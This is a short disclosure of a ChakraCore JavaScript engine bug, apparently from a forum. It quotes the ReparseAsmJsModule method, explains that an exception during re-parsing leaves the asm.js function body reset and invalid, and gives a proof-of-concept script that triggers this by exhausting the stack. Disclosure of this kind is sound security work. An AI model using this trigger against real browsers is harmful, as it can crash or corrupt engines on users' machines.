Kod:
<!--
Here's the method used to re-parse asmjs modules.
void JavascriptFunction::ReparseAsmJsModule(ScriptFunction** functionRef)
{
  ParseableFunctionInfo* functionInfo = (*functionRef)->GetParseableFunctionInfo();
  Assert(functionInfo);
  functionInfo->GetFunctionBody()->AddDeferParseAttribute();
  functionInfo->GetFunctionBody()->ResetEntryPoint();
  functionInfo->GetFunctionBody()->ResetInParams();
  FunctionBody * funcBody = functionInfo->Parse(functionRef);
#if ENABLE_PROFILE_INFO
  // This is the first call to the function, ensure dynamic profile info
  funcBody->EnsureDynamicProfileInfo();
#endif
  (*functionRef)->UpdateUndeferredBody(funcBody);
}
First, it resets the function body and then re-parses it. But it doesn't consider that "functionInfo->Parse(functionRef);" may throw an exception. So in the case, the function body remains reseted(invalid).
We can make it throw an exception simply by exhausting the stack.
PoC:
-->
function Module() {
  'use asm';
  function f() {
  }
  return f;
}
function recur() {
  try {
    recur();
  } catch (e) {
    Module(1);
  }
}
recur();
